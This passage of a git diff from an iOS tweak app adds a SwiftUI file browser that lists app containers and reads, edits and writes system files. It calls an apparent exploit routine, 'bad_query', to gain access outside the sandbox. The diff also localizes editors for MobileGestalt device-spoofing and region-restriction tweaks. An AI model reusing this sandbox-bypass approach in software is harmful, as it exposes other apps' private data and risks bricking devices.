{ return "photo" } + if type.isSubtype(of: .audio) { return "waveform" } + if type.isSubtype(of: .movie) || type.isSubtype(of: .video) { return "play" } + return "doc" + } + + nonisolated init(url: URL) { + self.url = url + self.last_path_component = url.path == "/" ? "/" : url.lastPathComponent + let values = try? url.resourceValues(forKeys: [.contentTypeKey]) + var is_dir = ObjCBool(false) + let exists = FileManager.default.fileExists(atPath: url.path, isDirectory: &is_dir) + self.is_directory = exists && is_dir.boolValue + self.content_type = values?.contentType + self.display_name = nil + } + + nonisolated init(url: URL, is_directory: Bool) { + self.url = url + self.last_path_component = url.path == "/" ? "/" : url.lastPathComponent + self.is_directory = is_directory + self.content_type = nil + self.display_name = nil + } + + nonisolated init(url: URL, display_name: String?, is_directory: Bool) { + self.url = url + self.last_path_component = url.path == "/" ? "/" : url.lastPathComponent + self.display_name = display_name + self.is_directory = is_directory + self.content_type = nil + } +} + +struct SantanderView: View { + var body: some View { + SantanderDirectoryView(path: SantanderPath( + url: URL(fileURLWithPath: "/private/var/mobile/Containers/Data/Application/"), + is_directory: true + )) + } +} + +private struct SantanderDirectoryListing { + let items: [SantanderPath] + let empty_state_message: String? +} + +struct SantanderDirectoryView: View { + let path: SantanderPath + + @State private var items: [SantanderPath] = [] + @State private var empty_message: String? + @State private var is_loading = true + @State private var search_text = "" + @State private var sort_ascending = true + @State private var display_hidden_files = true + + var body: some View { + content + .navigationTitle(path.title) + .searchable(text: $search_text, placement: .navigationBarDrawer(displayMode: .always)) + .toolbar { toolbar } + .task { load() } + } + + @ViewBuilder + private var content: some View { + if is_loading { + ProgressView() + } else if rendered_items.isEmpty { + ContentUnavailableView(empty_state_message, systemImage: "folder") + } else { + list + } + } + + private var list: some View { + List(rendered_items, id: \.self) { item in + if item.is_directory { + NavigationLink { + SantanderDirectoryView(path: item) + } label: { + row(for: item) + } + } else { + NavigationLink { + SantanderFileView(path: item) + } label: { + row(for: item) + } + } + } + .listStyle(.insetGrouped) + } + + private func row(for item: SantanderPath) -> some View { + HStack(spacing: 12) { + Image(systemName: item.icon_name) + .foregroundStyle(item.is_directory ? Color.accentColor : Color.secondary) + .frame(width: 28) + Text(item.title) + .foregroundStyle(item.is_hidden ? Color.secondary : Color.primary) + .lineLimit(1) + } + } + + @ToolbarContentBuilder + private var toolbar: some ToolbarContent { + ToolbarItem(placement: .topBarTrailing) { + Menu { + NavigationLink { + SantanderDirectoryView(path: root_path) + } label: { + Label(NSLocalizedString("go_to_root", tableName: "SantanderView", comment: ""), systemImage: "externaldrive") + } + NavigationLink { + SantanderDirectoryView(path: home_path) + } label: { + Label(NSLocalizedString("go_to_home", tableName: "SantanderView", comment: ""), systemImage: "house") + } + Divider() + Toggle(NSLocalizedString("display_hidden_files", tableName: "SantanderView", comment: ""), isOn: $display_hidden_files) + Divider() + Button { + sort_ascending = true + } label: { + Label(NSLocalizedString("sort_az", tableName: "SantanderView", comment: ""), systemImage: "textformat") + } + Button { + sort_ascending = false + } label: { + Label(NSLocalizedString("sort_za", tableName: "SantanderView", comment: ""), systemImage: "textformat") + } + } label: { + Image(systemName: "ellipsis.circle") + } + } + } + + private var root_path: SantanderPath { + SantanderPath(url: URL(fileURLWithPath: "/"), is_directory: true) + } + + private var home_path: SantanderPath { + SantanderPath(url: URL(fileURLWithPath: NSHomeDirectory()), is_directory: true) + } + + private var rendered_items: [SantanderPath] { + var result = items + if !display_hidden_files { + result.removeAll { $0.is_hidden } + } + let query = search_text.trimmingCharacters(in: .whitespacesAndNewlines) + if !query.isEmpty { + result = result.filter { + $0.title.localizedCaseInsensitiveContains(query) || $0.path.localizedCaseInsensitiveContains(query) + } + } + if sort_ascending { + result.sort { $0.title.localizedCaseInsensitiveCompare($1.title) == .orderedAscending } + } else { + result.sort { $0.title.localizedCaseInsensitiveCompare($1.title) == .orderedDescending } + } + return result + } + + private var empty_state_message: String { + if !search_text.isEmpty { return NSLocalizedString("no_matching_items", tableName: "SantanderView", comment: "") } + if !display_hidden_files && !items.isEmpty { + return NSLocalizedString("no_visible_items", tableName: "SantanderView", comment: "") + } + return empty_message ?? NSLocalizedString("directory_empty", tableName: "SantanderView", comment: "") + } + + private func load() { + is_loading = true + let path = path + DispatchQueue.global(qos: .userInitiated).async { + let listing = Self.load_directory_contents(for: path) + DispatchQueue.main.async { + self.items = listing.items + self.empty_message = listing.empty_state_message + self.is_loading = false + } + } + } + + private static func load_directory_contents(for path: SantanderPath) -> SantanderDirectoryListing { + let apps_root = "/var/mobile/Containers/Data/Application" + + var normalized = path.path + if normalized.hasPrefix("/private/") { normalized.removeFirst("/private/".count - 1) } + if normalized.hasSuffix("/") { normalized.removeLast() } + + if normalized == apps_root { + let items = list_containers(apps_root).map { container in + let url = URL(fileURLWithPath: container, isDirectory: true) + return SantanderPath(url: url, display_name: bundle_id(for: url), is_directory: true) + } + if items.isEmpty { + return SantanderDirectoryListing(items: [], empty_state_message: NSLocalizedString("no_app_containers_found", tableName: "SantanderView", comment: "")) + } + return SantanderDirectoryListing(items: items, empty_state_message: nil) + } + + if let listing = try_direct_listing(for: path) { + return listing + } + + var grant_c = path.path.utf8CString.map { Int8($0) } + let handle = bad_query(&grant_c, true, nil, false, nil) + if handle >= 0, let listing = try_direct_listing(for: path) { + return listing + } + + return SantanderDirectoryListing(items: [], empty_state_message: NSLocalizedString("cannot_list_directory", tableName: "SantanderView", comment: "")) + } + + private static func try_direct_listing(for path: SantanderPath) -> SantanderDirectoryListing? { + guard path.is_directory else { + return SantanderDirectoryListing(items: [], empty_state_message: NSLocalizedString("not_a_directory", tableName: "SantanderView", comment: "")) + } + + let fm = FileManager.default + var is_dir = ObjCBool(false) + let exists = fm.fileExists(atPath: path.path, isDirectory: &is_dir) + if !exists || !is_dir.boolValue { + return nil + } + if !fm.isReadableFile(atPath: path.path) { + return nil + } + + do { + let urls = try fm.contentsOfDirectory(at: path.url, includingPropertiesForKeys: nil) + let items = urls.map(SantanderPath.init(url:)) + return SantanderDirectoryListing(items: items, empty_state_message: items.isEmpty ? NSLocalizedString("directory_empty", tableName: "SantanderView", comment:"") : nil) + } catch { + return nil + } + } + + private static func bundle_id(for container: URL) -> String? { + let candidates = [ + container.appendingPathComponent(".com.apple.mobile_container_manager.metadata.plist"), + container.appendingPathComponent("com.apple.mobile_container_manager.metadata.plist") + ] + + for url in candidates { + if let data = try? Data(contentsOf: url), let id = metadata_identifier(from: data) { + return id + } + } + + for url in candidates { + if let id = pb.read_meta_key(at: url, key: "MCMMetadataIdentifier") { + return id + } + } + + return nil + } + + private static func metadata_identifier(from data: Data) -> String? { + let plist = try? PropertyListSerialization.propertyList(from: data, options: [], format: nil) as? [String: Any] + return plist?["MCMMetadataIdentifier"] as? String + } +} + +struct SantanderFileView: View { + let path: SantanderPath + + @State private var is_editing = false + @State private var is_editable = false + @State private var edit_text = "" + @State private var original_encoding: String.Encoding = .utf8 + @State private var original_plist_format: PropertyListSerialization.PropertyListFormat? + @State private var save_error: String? + + private enum PreviewKind { + case image + case video + case audio + case text + } + + var body: some View { + content + .navigationTitle(path.title) + .toolbar { + ToolbarItemGroup(placement: .topBarTrailing) { + if is_editing { + Button(NSLocalizedString("cancel", comment: "")) { + is_editing = false + } + Button(NSLocalizedString("save", tableName: "SantanderView", comment: "")) { + save() + } + } else { + ShareLink(item: path.url) { + Image(systemName: "square.and.arrow.up") + } + if is_editable { + Button { + begin_editing() + } label: { + Image(systemName: "square.and.pencil") + } + } + } + } + } + .task { + if preview_kind == .text, + Self.grant_file_read(path.path), + let data = try? Data(contentsOf: path.url) { + is_editable = Self.decode_text(from: data) != nil + || Self.plist_editor_content(from: data) != nil + } + } + .alert(NSLocalizedString("save_failed", comment: ""), isPresented: Binding( + get: { save_error != nil }, + set: { if !$0 { save_error = nil } } + )) { + Button(NSLocalizedString("ok", tableName: "SantanderView", comment: ""), role: .cancel) {} + } message: { + Text(save_error ?? "") + } + } + + @ViewBuilder + private var content: some View { + if is_editing { + TextEditor(text: $edit_text) + .font(.system(size: 13, design: .monospaced)) + .padding(4) + } else { + switch preview_kind { + case .image: + image_preview + case .video: + MediaPlayerView(url: path.url, is_audio: false) + case .audio: + MediaPlayerView(url: path.url, is_audio: true) + case .text: + text_preview + } + } + } + + private var image_preview: some View { + Group { + if let image = load_image() { + image + .resizable() + .scaledToFit() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(Color.black) + } else { + ContentUnavailableView(failure_text(NSLocalizedString("failed_to_render_image", tableName: "SantanderView", comment: "")), systemImage: "photo") + } + } + } + + private var text_preview: some View { + ScrollView { + Text(Self.render_file(at: path.url)) + .font(.system(size: 13, design: .monospaced)) + .textSelection(.enabled) + .frame(maxWidth: .infinity, alignment: .leading) + .padding() + } + } + + private func begin_editing() { + guard Self.grant_file_read(path.path), + let data = try? Data(contentsOf: path.url) else { + return + } + if let (text, format) = Self.plist_editor_content(from: data) { + edit_text = text + original_encoding = .utf8 + original_plist_format = format + is_editing = true + return + } + guard let (text, encoding) = Self.decode_text_encoding(from: data) else { + return + } + edit_text = text + original_encoding = encoding + original_plist_format = nil + is_editing = true + } + + private func save() { + guard Self.grant_file_write(path.path) else { + save_error = NSLocalizedString("missing_write_permission", tableName: "SantanderView", comment: "") + return + } + if let format = original_plist_format { + save_plist(format: format) + return + } + guard let data = edit_text.data(using: original_encoding) else { + save_error = NSLocalizedString("could_not_encode_text", tableName: "SantanderView", comment: "") + return + } + do { + try data.write(to: path.url) + is_editing = false + } catch { + save_error = error.localizedDescription + } + } + + private func save_plist(format: PropertyListSerialization.PropertyListFormat) { + guard let edited_data = edit_text.data(using: .utf8) else { + save_error = NSLocalizedString("could_not_encode_text", tableName: "SantanderView", comment: "") + return + } + let object: Any + if let json = try? JSONSerialization.jsonObject(with: edited_data) { + object = json + } else if let plist = try? PropertyListSerialization.propertyList(from: edited_data, options: [], format: nil) { + object = plist + } else { + save_error = NSLocalizedString("invalid_plist_json", tableName: "SantanderView", comment: "") + return + } + do { + let out_data = try PropertyListSerialization.data(fromPropertyList: object, format: format, options: 0) + try out_data.write(to: path.url) + is_editing = false + } catch { + save_error = error.localizedDescription + } + } + + private var preview_kind: PreviewKind { + if let type = path.content_type { + if type.isSubtype(of: .image) { return .image } + if type.isSubtype(of: .movie) || type.isSubtype(of: .video) { return .video } + if type.isSubtype(of: .audio) { return .audio } + return .text + } + + let ext = path.url.pathExtension.lowercased() + if ["png", "jpg", "jpeg", "gif", "heic", "heif", "bmp", "tif", "tiff", "webp"].contains(ext) { + return .image + } + if ["mp4", "mov", "m4v", "avi", "mkv"].contains(ext) { + return .video + } + if [ + "mp3", "m4a", "m4b", "m4p", "aac", "aiff", "aif", "aifc", "wav", "wave", + "caf", "flac", "alac", "opus", "oga", "ogg", "mka", "wma", "ac3", "eac3", + "amr", "3gp", "3gpp", "3g2", "au", "snd", "mp2", "mp1", "ape", "tta", "wv" + ].contains(ext) { + return .audio + } + return .text + } + + private func load_image() -> Image? { + _ = Self.grant_file_read(path.path) + guard let source = CGImageSourceCreateWithURL(path.url as CFURL, nil), + let cg_image = CGImageSourceCreateImageAtIndex(source, 0, nil) else { + return nil + } + return Image(decorative: cg_image, scale: 1) + } + + private func failure_text(_ title: String) -> String { + """ + \(title): + \(path.path) + + \(Self.unreadable_file_details(for: path.url)) + """ + } + + private static func grant_file_read(_ path: String) -> Bool { + let fm = FileManager.default + if fm.isReadableFile(atPath: path) { + return true + } + var path_c = path.utf8CString.map { Int8($0) } + let handle = bad_query(&path_c, true, nil, false, nil) + return handle >= 0 && fm.isReadableFile(atPath: path) + } + + private static func grant_file_write(_ path: String) -> Bool { + let fm = FileManager.default + if fm.isWritableFile(atPath: path) { + return true + } + var path_c = path.utf8CString.map { Int8($0) } + let handle = bad_query(&path_c, true, nil, false, nil) + return handle >= 0 && fm.isWritableFile(atPath: path) + } + + private static func render_file(at url: URL) -> String { + let data: Data + do { + data = try Data(contentsOf: url, options: .mappedIfSafe) + } catch { + guard grant_file_read(url.path), + let granted = try? Data(contentsOf: url, options: .mappedIfSafe) else { + return """ + Failed to read file: + \(url.path) + Error: \(error.localizedDescription) + + \(unreadable_file_details(for: url)) + """ + } + data = granted + } + + if data.isEmpty { + return "(empty file)" + } + + if let plist = decode_property_list(from: data) { + return plist + } + + if let text = decode_text(from: data) { + return text + } + + return binary_preview(from: data) + } + + private static func unreadable_file_details(for url: URL) -> String { + let fm = FileManager.default + var lines: [String] = [] + + var is_dir = ObjCBool(false) + let exists = fm.fileExists(atPath: url.path, isDirectory: &is_dir) + lines.append("Exists: \(exists ? "yes" : "no")") + if exists { + lines.append("Kind: \(is_dir.boolValue ? "directory" : "regular item")") + } + + let keys: Set = [ + .contentTypeKey, + .isSymbolicLinkKey, + .isAliasFileKey, + .fileSizeKey + ] + if let values = try? url.resourceValues(forKeys: keys) { + if let type = values.contentType { + lines.append("UTType: \(type.identifier)") + } + if let size = values.fileSize { + lines.append("Size: \(size) bytes") + } + if let is_symlink = values.isSymbolicLink { + lines.append("Symlink: \(is_symlink ? "yes" : "no")") + } + if values.isSymbolicLink == true, + let target = try? fm.destinationOfSymbolicLink(atPath: url.path) { + lines.append("Symlink target: \(target)") + } + if let is_alias = values.isAliasFile { + lines.append("Alias file: \(is_alias ? "yes" : "no")") + } + } + + if let attrs = try? fm.attributesOfItem(atPath: url.path) { + if let file_type = attrs[.type] as? FileAttributeType { + lines.append("File attribute type: \(file_type.rawValue)") + } + let owner_name = attrs[.ownerAccountName] as? String + let owner_id = (attrs[.ownerAccountID] as? NSNumber)?.intValue + switch (owner_name, owner_id) { + case let (name?, id?): + lines.append("Owner: \(name) (\(id))") + case let (name?, nil): + lines.append("Owner: \(name)") + case let (nil, id?): + lines.append("Owner ID: \(id)") + default: + break + } + + let group_name = attrs[.groupOwnerAccountName] as? String + let group_id = (attrs[.groupOwnerAccountID] as? NSNumber)?.intValue + switch (group_name, group_id) { + case let (name?, id?): + lines.append("Group: \(name) (\(id))") + case let (name?, nil): + lines.append("Group: \(name)") + case let (nil, id?): + lines.append("Group ID: \(id)") + default: + break + } + if let perms = attrs[.posixPermissions] as? NSNumber { + lines.append(String(format: "POSIX perms: %04o", perms.intValue)) + } + } + + lines.append("Readable: \(fm.isReadableFile(atPath: url.path) ? "yes" : "no")") + lines.append("Writable: \(fm.isWritableFile(atPath: url.path) ? "yes" : "no")") + lines.append("Executable: \(fm.isExecutableFile(atPath: url.path) ? "yes" : "no")") + + return lines.joined(separator: "\n") + } + + private static func decode_property_list(from data: Data) -> String? { + plist_editor_content(from: data)?.0 + } + + private static func plist_editor_content(from data: Data) -> (String, PropertyListSerialization.PropertyListFormat)? { + guard data.starts(with: Data("bplist".utf8)) || data.starts(with: Data(" String? { + decode_text_encoding(from: data)?.0 + } + + private static func decode_text_encoding(from data: Data) -> (String, String.Encoding)? { + let encodings: [String.Encoding] = [ + .utf8, + .utf16, + .utf16LittleEndian, + .utf16BigEndian, + .utf32, + .utf32LittleEndian, + .utf32BigEndian, + .ascii, + .isoLatin1, + .windowsCP1252, + .macOSRoman, + .nonLossyASCII + ] + + for encoding in encodings { + guard let value = String(data: data, encoding: encoding) else { continue } + if looks_like_text(value) { + return (value, encoding) + } + } + return nil + } + + private static func looks_like_text(_ value: String) -> Bool { + if value.isEmpty { return true } + let scalars = value.unicodeScalars + let disallowed = scalars.filter { scalar in + let v = scalar.value + if v == 9 || v == 10 || v == 13 { return false } + if v < 32 { return true } + if v >= 0x7F && v <= 0x9F { return true } + return false + } + return Double(disallowed.count) / Double(scalars.count) < 0.01 + } + + private static func binary_preview(from data: Data) -> String { + let limit = min(data.count, 4096) + let chunk = data.prefix(limit) + var lines: [String] = [] + lines.append("Binary data (\(data.count) bytes). Showing first \(limit) bytes:") + lines.append("") + + var offset = 0 + while offset < chunk.count { + let row = chunk[offset.. String in + if byte >= 32 && byte <= 126 { return String(UnicodeScalar(byte)) } + return "." + }.joined() + lines.append(String(format: "%08X %-47@ %@", offset, hex as NSString, ascii)) + offset += 16 + } + + return lines.joined(separator: "\n") + } +} + +private struct MediaPlayerView: View { + let url: URL + var is_audio: Bool = false + + @State private var player: AVPlayer + + init(url: URL, is_audio: Bool) { + self.url = url + self.is_audio = is_audio + _player = State(initialValue: AVPlayer(url: url)) + } + + var body: some View { + ZStack { + VideoPlayer(player: player) + if is_audio { + Image(systemName: "music.note") + .font(.system(size: 60)) + .foregroundStyle(.secondary) + .allowsHitTesting(false) + } + } + .onAppear { + try? AVAudioSession.sharedInstance().setCategory(.playback, mode: .default, options: []) + try? AVAudioSession.sharedInstance().setActive(true, options: []) + player.play() + } + .onDisappear { + player.pause() + } + } +} diff --git a/mond/views/tweaks/mobilegestalt/CEView.swift b/mond/views/tweaks/mobilegestalt/CEView.swift index bfe42c5..1ec22e9 100644 --- a/mond/views/tweaks/mobilegestalt/CEView.swift +++ b/mond/views/tweaks/mobilegestalt/CEView.swift @@ -39,7 +39,8 @@ func ce_encode(_ value: Any?, as type: ce_type) -> String { case .int: (value as? NSNumber)?.stringValue ?? "" case .bool: - ((value as? NSNumber)?.boolValue == true) ? "true" : "false" + ((value as? NSNumber)?.boolValue == true) ? NSLocalizedString("true", tableName: "CEView", comment: "") : + NSLocalizedString("false", tableName: "CEView", comment: "") case .data: (value as? Data)?.base64EncodedString() ?? "" } @@ -52,16 +53,16 @@ func ce_parse(_ text: String, as type: ce_type) throws -> Any { case .str: return text case .int: - guard let v = Int64(t) else { throw ce_err.bad_val("Invalid Integer") } + guard let v = Int64(t) else { throw ce_err.bad_val(NSLocalizedString("invalid_integer", tableName: "CEView", comment: "")) } return NSNumber(value: v) case .bool: switch t.lowercased() { case "true", "1", "yes": return NSNumber(value: true) case "false", "0", "no": return NSNumber(value: false) - default: throw ce_err.bad_val("Enter true/false") + default: throw ce_err.bad_val(NSLocalizedString("enter_true_false", tableName: "CEView", comment: "")) } case .data: - guard let d = Data(base64Encoded: t) else { throw ce_err.bad_val("Invalid base64") } + guard let d = Data(base64Encoded: t) else { throw ce_err.bad_val(NSLocalizedString("invalid_base64", tableName: "CEView", comment: "")) } return d } } @@ -97,7 +98,8 @@ struct CEView: View { var body: some View { List { if keys.isEmpty { - Text(search.isEmpty ? "No CacheExtra fields" : "No results") + Text(search.isEmpty ? NSLocalizedString("no_cache_extra_fields", tableName: "CEView", comment: "") : + NSLocalizedString("no_results", tableName: "CEView", comment: "")) .foregroundStyle(.secondary) } else { ForEach(keys, id: \.self) { key in @@ -135,7 +137,7 @@ struct CEView: View { } } } - .searchable(text: $search, prompt: "Search for keys or values") + .searchable(text: $search, prompt: NSLocalizedString("search_for_keys_or_values", tableName: "CEView", comment: "")) .navigationTitle("CacheExtra") .onAppear() { mg_load() @@ -178,16 +180,16 @@ struct CEView: View { let data = try PropertyListSerialization.data(fromPropertyList: mg_dict_now, format: .xml, options: 0) try mg_write(data) - Alertinator.shared.alert( - title: "Saved", - body: "Field changes written to MobileGestalt. Respring for changes to take effect.", - actionLabel: "Respring", + AlertinatorLocalized.shared.alert( + title: NSLocalizedString("saved", tableName: "CEView", comment: ""), + body: NSLocalizedString("you_must_respring", tableName: "CEView", comment: ""), + actionLabel: NSLocalizedString("respring", comment: ""), action: { state.respring() } ) } catch { - Alertinator.shared.alert(title: "Save failed", body: error.localizedDescription) + AlertinatorLocalized.shared.alert(title: NSLocalizedString("save_failed", comment: ""), body: error.localizedDescription) } } } @@ -219,8 +221,8 @@ private struct CEEditSheet: View { var body: some View { NavigationStack { Form { - Section("Type") { - Picker("Type", selection: $type) { + Section(NSLocalizedString("type", tableName: "CEView", comment: "")) { + Picker(NSLocalizedString("type", tableName: "CEView", comment: ""), selection: $type) { ForEach(ce_type.allCases) { t in Text(t.label).tag(t) } } .pickerStyle(.menu) @@ -228,7 +230,7 @@ private struct CEEditSheet: View { error = nil } } - Section("Value") { + Section(NSLocalizedString("value", tableName: "CEView", comment: "")) { TextEditor(text: $text) .font(.system(.body, design: .monospaced)) .frame(minHeight: 120) @@ -243,10 +245,10 @@ private struct CEEditSheet: View { .navigationBarTitleDisplayMode(.inline) .toolbar { ToolbarItem(placement: .navigationBarLeading) { - Button("Cancel") { dismiss() } + Button(NSLocalizedString("cancel", comment: "")) { dismiss() } } ToolbarItem(placement: .navigationBarTrailing) { - Button("Done") { + Button(NSLocalizedString("done", comment: "")) { do { save(key, try ce_parse(text, as: type)) dismiss() @@ -274,19 +276,19 @@ private struct CEAddSheet: View { var body: some View { NavigationStack { Form { - Section("Key") { - TextField("Key name", text: $key) + Section(NSLocalizedString("key", tableName: "CEView", comment: "")) { + TextField(NSLocalizedString("key_name", tableName: "CEView", comment: ""), text: $key) .font(.system(.body, design: .monospaced)) .autocorrectionDisabled() .textInputAutocapitalization(.never) } - Section("Type") { - Picker("Type", selection: $type) { + Section(NSLocalizedString("type", tableName: "CEView", comment: "")) { + Picker(NSLocalizedString("type", tableName: "CEView", comment: ""), selection: $type) { ForEach(ce_type.allCases) { t in Text(t.label).tag(t) } } .pickerStyle(.menu) } - Section("Value") { + Section(NSLocalizedString("value", tableName: "CEView", comment: "")) { TextEditor(text: $text) .font(.system(.body, design: .monospaced)) .frame(minHeight: 100) @@ -297,21 +299,21 @@ private struct CEAddSheet: View { Section { Text(error).foregroundStyle(.red) } } } - .navigationTitle("Add Field") + .navigationTitle(NSLocalizedString("add_field", tableName: "CEView", comment: "")) .navigationBarTitleDisplayMode(.inline) .toolbar { ToolbarItem(placement: .navigationBarLeading) { - Button("Cancel") { dismiss() } + Button(NSLocalizedString("cancel", comment: "")) { dismiss() } } ToolbarItem(placement: .navigationBarTrailing) { - Button("Add") { + Button(NSLocalizedString("add", tableName: "CEView", comment: "")) { let trimmed = key.trimmingCharacters(in: .whitespacesAndNewlines) guard !trimmed.isEmpty else { - error = "Key cannot be empty" + error = NSLocalizedString("key_cant_be_empty", tableName: "CEView", comment: "") return } guard (mg_dict_now["CacheExtra"] as? [String: Any])?[trimmed] == nil else { - error = "Key already exists" + error = NSLocalizedString("key_already_exist", tableName: "CEView", comment: "") return } do { diff --git a/mond/views/tweaks/mobilegestalt/GestaltView.swift b/mond/views/tweaks/mobilegestalt/GestaltView.swift index e88ca92..330308b 100644 --- a/mond/views/tweaks/mobilegestalt/GestaltView.swift +++ b/mond/views/tweaks/mobilegestalt/GestaltView.swift @@ -1,265 +1,266 @@ -// -// GestaltView.swift -// mond -// -// Created by ruter on 11.08.26. -// - -import SwiftUI -import PartyUI - -private extension mg_tweak.InfoType { - var party_info_type: ToggleInfoType { - switch self { - case .info: return .info - case .warning, .error: return .warning - } - } -} - -struct TweakToggle: View { - let title: String - - var body: some View { - if let tweak = tweak(title) { - PlainToggle( - text: tweak.title, - infoType: tweak.info_t?.party_info_type ?? .none, - infoMessage: tweak.info_msg ?? "", - minSupportedVersion: tweak.minv ?? 0.0, - isOn: mg_tweak_binding(tweak) - ) - } - } -} - -fileprivate func mg_ui_state() -> (String, Bool, String, String) { - (selected_st, enable_device_name, mg_device_name, product_type) -} - -fileprivate func mg_apply_ui_state(_ selected: String, _ enableName: Bool, _ deviceName: String, _ product: String) { - selected_st = selected - enable_device_name = enableName - mg_device_name = deviceName - product_type = product -} - -struct GestaltView: View { - @EnvironmentObject var state: AppState - - @State private var show_settings: Bool = false - - @State private var selected_st: String = "og" - @State private var enable_device_name: Bool = false - @State private var mg_device_name: String = "" - @State private var product_type: String = "" - - var body: some View { - NavigationStack { - List { - if !is_valid || is_empty { - Section { - if is_empty { - PlainAlert(title: "Do not reboot!", icon: "exclamationmark.triangle.fill", text: "Your MobileGestalt.plist seems to be empty.", color: Color.yellow) - } - - if !is_valid { - PlainAlert(title: "Do not reboot!", icon: "exclamationmark.triangle.fill", text: "Your MobileGestalt.plist seems to be invalid.", color: Color.yellow) - } - } header: { - Label("Warning", systemImage: "exclamationmark.triangle") - } footer: { - Text("Rebooting now might cause a bootloop. Try pressing 'Revert Tweaks'. If the warnings dont go away after that, you're fucked.") - } - } - - Section { - Button { - mg_apply_ui_state(selected_st, enable_device_name, mg_device_name, product_type) - mg_apply() - } label: { - Text("Apply Tweaks") - } - - Button { - mg_revert() - } label: { - Text("Revert Tweaks") - } - - Button { - state.respring() - } label: { - Text("Respring") - } - } footer: { - Text("**WARNING:** These tweaks have the capability to break features on your device or softbrick it if misused!") - } - - Section { - Picker(selection: $selected_st) { - Text("Original (\(og_st))").tag("og") - - if is_device_good() { - Text("Disable Dynamic Island").tag("no_dynamic_island") - } - - Text("iPhone 14 Pro").tag("14p") - Text("iPhone 14 Pro Max").tag("14pm") - Text("iPhone 15 Pro Max").tag("15pm") - - if doubleSystemVersion() >= 18.0 { - Text("iPhone 16 Pro").tag("16p") - Text("iPhone 16 Pro Max").tag("16pm") - } - - if doubleSystemVersion() >= 26.0 { - Text("iPhone Air").tag("air") - } - - if has_home_button() { - Text("iPhone X Gestures").tag("x") - } - } label: { - HStack { - Text("Subtype") - Spacer() - } - } - - Toggle("Custom Device Name", isOn: $enable_device_name) - - if enable_device_name { - TextField("Device Name", text: $mg_device_name) - } - } header: { - Label("Device Artwork", systemImage: "paintbrush.pointed") - } - - Section { - TweakToggle(title: "Enable Dynamic Island Capability") - TweakToggle(title: "Always-On Display") - TweakToggle(title: "AOD Vibrancy") - TweakToggle(title: "Disable Wallpaper Parallax") - TweakToggle(title: "Charge Limit Menu") - TweakToggle(title: "Boot & Shutdown Chime") - TweakToggle(title: "Enable Liquid Glass Low-Performance Mode") - TweakToggle(title: "Disable Liquid Glass Low-Performance Mode") - } header: { - Label("Software-Oriented Features", systemImage: "gearshape") - } - - Section { - TweakToggle(title: "iPhone 16 Camera Control Settings") - TweakToggle(title: "Action Button Settings") - TweakToggle(title: "Collision SOS") - if has_home_button() { - TweakToggle(title: "Tap to Wake") - } - TweakToggle(title: "Pulse Width Modulation") - } header: { - Label("Hardware-Oriented Features", systemImage: "iphone") - } - - Section { - TweakToggle(title: "Security Research Device Mode") - TweakToggle(title: "Disable Region Restrictions") - TweakToggle(title: "Apple Intelligence") - - HStack(spacing: 10) { - Picker("Spoofing", selection: $product_type) { - Text("Default").tag(machine_name()) - if UIDevice.current.userInterfaceIdiom == .pad { - if doubleSystemVersion() >= 17.4 { - Text("iPad Pro 11-inch (M4)").tag("iPad16,3") - Text("iPad Pro 11-inch (M4, Cellular)").tag("iPad16,4") - } - Text("iPad Pro 11-inch (4th Gen)").tag("iPad14,3") - Text("iPad Pro 11-inch (4th Gen, Cellular)").tag("iPad14,4") - } else { - Text("iPhone 15 Pro").tag("iPhone16,1") - Text("iPhone 15 Pro Max").tag("iPhone16,2") - if doubleSystemVersion() >= 18.0 { - Text("iPhone 16").tag("iPhone17,3") - Text("iPhone 16 Plus").tag("iPhone17,4") - Text("iPhone 16 Pro").tag("iPhone17,1") - Text("iPhone 16 Pro Max").tag("iPhone17,2") - } - if doubleSystemVersion() >= 19.0 { - Text("iPhone 17").tag("iPhone18,3") - Text("iPhone 17 Pro").tag("iPhone18,1") - Text("iPhone 17 Pro Max").tag("iPhone18,2") - Text("iPhone Air").tag("iPhone18,4") - } - } - } - - Button { - Alertinator.shared.alert( - title: "Device Spoofing Info", - body: "Only spoof your device model if you want to download Apple Intelligence. This may break Face ID. If you decide to unspoof and want to keep Apple Intelligence, do NOT re-enter the Apple Intelligence & Siri menu in Settings." - ) - } label: { - Image(systemName: "info.circle") - .frame(width: 24, height: 22) - } - .buttonStyle(.plain) - } - } header: { - Label("Eligibility", systemImage: "checklist") - } - - Section { - let cache_extra = mg_dict_now["CacheExtra"] as? NSMutableDictionary - - TweakToggle(title: "Allow iPad Apps") - TweakToggle(title: "Apple Pencil Settings") - - if UIDevice.current.userInterfaceIdiom == .pad { - TweakToggle(title: "Stage Manager Support") - } - - TweakToggle(title: "Enable iPadOS Mode") - .disabled(cache_extra?["+3Uf0Pm5F8Xy7Onyvko0vA"] as? String != "iPhone") - } header: { - Label("iPadOS Features", systemImage: "ipad") - } - - Section { - TweakToggle(title: "Internal Storage View") - TweakToggle(title: "Internal Features") - TweakToggle(title: "Apple Internal Install") - } header: { - Label("Internal", systemImage: "ant") - } - } - .navigationTitle("MobileGestalt") - .tint(Color("AccentColor")) - .task { - mg_load() - while is_loading { - try? await Task.sleep(for: .milliseconds(50)) - } - let s = mg_ui_state() - selected_st = s.0 - enable_device_name = s.1 - mg_device_name = s.2 - product_type = s.3 - } - .toolbar { - ToolbarItem(placement: .navigationBarTrailing) { - HStack { - Button { - show_settings = true - } label: { - Image(systemName: "gear") - } - } - } - } - .sheet(isPresented: $show_settings) { - SettingsView() - } - } - } -} +// +// GestaltView.swift +// mond +// +// Created by ruter on 11.08.26. +// + +import SwiftUI +import PartyUI + +private extension mg_tweak.InfoType { + var party_info_type: ToggleInfoType { + switch self { + case .info: return .info + case .warning, .error: return .warning + } + } +} + +struct TweakToggle: View { + let title: String + + var body: some View { + if let tweak = tweak(title) { + PlainToggle( + text: tweak.title, + infoType: tweak.info_t?.party_info_type ?? .none, + infoTitle: NSLocalizedString("information", comment: ""), + infoMessage: tweak.info_msg ?? "", + minSupportedVersion: tweak.minv ?? 0.0, + isOn: mg_tweak_binding(tweak) + ) + } + } +} + +fileprivate func mg_ui_state() -> (String, Bool, String, String) { + (selected_st, enable_device_name, mg_device_name, product_type) +} + +fileprivate func mg_apply_ui_state(_ selected: String, _ enableName: Bool, _ deviceName: String, _ product: String) { + selected_st = selected + enable_device_name = enableName + mg_device_name = deviceName + product_type = product +} + +struct GestaltView: View { + @EnvironmentObject var state: AppState + + @State private var show_settings: Bool = false + + @State private var selected_st: String = "og" + @State private var enable_device_name: Bool = false + @State private var mg_device_name: String = "" + @State private var product_type: String = "" + + var body: some View { + NavigationStack { + List { + if !is_valid || 